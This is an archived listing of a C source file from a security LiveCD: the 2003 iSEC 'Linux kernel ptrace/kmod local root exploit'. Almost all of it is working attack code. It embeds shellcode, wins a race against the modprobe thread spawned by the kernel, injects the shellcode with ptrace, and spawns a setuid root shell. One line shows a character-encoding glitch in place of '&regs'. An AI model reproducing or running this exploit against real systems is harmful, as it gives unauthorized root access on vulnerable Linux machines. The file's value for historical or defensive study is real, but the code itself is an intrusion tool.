home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / linux / local / kernel.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  4KB  |  184 lines

  1. /*
  2. * Linux kernel ptrace/kmod local root exploit
  3. *
  4. * This code exploits a race condition in kernel/kmod.c, which creates
  5. * kernel thread in insecure manner. This bug allows to ptrace cloned
  6. * process, allowing to take control over privileged modprobe binary.
  7. *
  8. * Should work under all current 2.2.x and 2.4.x kernels.
  9. *
  10. * I discovered this stupid bug independently on January 25, 2003, that
  11. * is (almost) two month before it was fixed and published by Red Hat
  12. * and others.
  13. *
  14. * Wojciech Purczynski <cliph@isec.pl>
  15. *
  16. * THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY*
  17. * IT IS PROVIDED "AS IS" AND WITHOUT ANY WARRANTY
  18. *
  19. * (c) 2003 Copyright by iSEC Security Research
  20. */
  21.  
  22. #include <grp.h>
  23. #include <stdio.h>
  24. #include <fcntl.h>
  25. #include <errno.h>
  26. #include <paths.h>
  27. #include <string.h>
  28. #include <stdlib.h>
  29. #include <signal.h>
  30. #include <unistd.h>
  31. #include <sys/wait.h>
  32. #include <sys/stat.h>
  33. #include <sys/param.h>
  34. #include <sys/types.h>
  35. #include <sys/ptrace.h>
  36. #include <sys/socket.h>
  37. #include <linux/user.h>
  38.  
  39. char cliphcode[] =
  40. "\x90\x90\xeb\x1f\xb8\xb6\x00\x00"
  41. "\x00\x5b\x31\xc9\x89\xca\xcd\x80"
  42. "\xb8\x0f\x00\x00\x00\xb9\xed\x0d"
  43. "\x00\x00\xcd\x80\x89\xd0\x89\xd3"
  44. "\x40\xcd\x80\xe8\xdc\xff\xff\xff";
  45.  
  46. #define CODE_SIZE (sizeof(cliphcode) - 1)
  47.  
  48. pid_t parent = 1;
  49. pid_t child = 1;
  50. pid_t victim = 1;
  51. volatile int gotchild = 0;
  52.  
  53. void fatal(char * msg)
  54. {
  55. perror(msg);
  56. kill(parent, SIGKILL);
  57. kill(child, SIGKILL);
  58. kill(victim, SIGKILL);
  59. }
  60.  
  61. void putcode(unsigned long * dst)
  62. {
  63. char buf[MAXPATHLEN + CODE_SIZE];
  64. unsigned long * src;
  65. int i, len;
  66.  
  67. memcpy(buf, cliphcode, CODE_SIZE);
  68. len = readlink("/proc/self/exe", buf + CODE_SIZE, MAXPATHLEN - 1);
  69. if (len == -1)
  70. fatal("[-] Unable to read /proc/self/exe");
  71.  
  72. len += CODE_SIZE + 1;
  73. buf[len] = '\0';
  74.  
  75. src = (unsigned long*) buf;
  76. for (i = 0; i < len; i += 4)
  77. if (ptrace(PTRACE_POKETEXT, victim, dst++, *src++) == -1)
  78. fatal("[-] Unable to write shellcode");
  79. }
  80.  
  81. void sigchld(int signo)
  82. {
  83. struct user_regs_struct regs;
  84.  
  85. if (gotchild++ == 0)
  86. return;
  87.  
  88. fprintf(stderr, "[+] Signal caught\n");
  89.  
  90. if (ptrace(PTRACE_GETREGS, victim, NULL, ┬«s) == -1)
  91. fatal("[-] Unable to read registers");
  92.  
  93. fprintf(stderr, "[+] Shellcode placed at 0x%08lx\n", regs.eip);
  94.  
  95. putcode((unsigned long *)regs.eip);
  96.  
  97. fprintf(stderr, "[+] Now wait for suid shell...\n");
  98.  
  99. if (ptrace(PTRACE_DETACH, victim, 0, 0) == -1)
  100. fatal("[-] Unable to detach from victim");
  101.  
  102. exit(0);
  103. }
  104.  
  105. void sigalrm(int signo)
  106. {
  107. errno = ECANCELED;
  108. fatal("[-] Fatal error");
  109. }
  110.  
  111. void do_child(void)
  112. {
  113. int err;
  114.  
  115. child = getpid();
  116. victim = child + 1;
  117.  
  118. signal(SIGCHLD, sigchld);
  119.  
  120. do
  121. err = ptrace(PTRACE_ATTACH, victim, 0, 0);
  122. while (err == -1 && errno == ESRCH);
  123.  
  124. if (err == -1)
  125. fatal("[-] Unable to attach");
  126.  
  127. fprintf(stderr, "[+] Attached to %d\n", victim);
  128. while (!gotchild) ;
  129. if (ptrace(PTRACE_SYSCALL, victim, 0, 0) == -1)
  130. fatal("[-] Unable to setup syscall trace");
  131. fprintf(stderr, "[+] Waiting for signal\n");
  132.  
  133. for(;;);
  134. }
  135.  
  136. void do_parent(char * progname)
  137. {
  138. struct stat st;
  139. int err;
  140. errno = 0;
  141. socket(AF_SECURITY, SOCK_STREAM, 1);
  142. do {
  143. err = stat(progname, &st);
  144. } while (err == 0 && (st.st_mode & S_ISUID) != S_ISUID);
  145.  
  146. if (err == -1)
  147. fatal("[-] Unable to stat myself");
  148.  
  149. alarm(0);
  150. system(progname);
  151. }
  152.  
  153. void prepare(void)
  154. {
  155. if (geteuid() == 0) {
  156. initgroups("root", 0);
  157. setgid(0);
  158. setuid(0);
  159. execl(_PATH_BSHELL, _PATH_BSHELL, NULL);
  160. fatal("[-] Unable to spawn shell");
  161. }
  162. }
  163.  
  164. int main(int argc, char ** argv)
  165. {
  166. prepare();
  167. signal(SIGALRM, sigalrm);
  168. alarm(10);
  169.  
  170. parent = getpid();
  171. child = fork();
  172. victim = child + 1;
  173.  
  174. if (child == -1)
  175. fatal("[-] Unable to fork");
  176.  
  177. if (child == 0)
  178. do_child();
  179. else
  180. do_parent(argv[0]);
  181.  
  182. return 0;
  183. }
  184.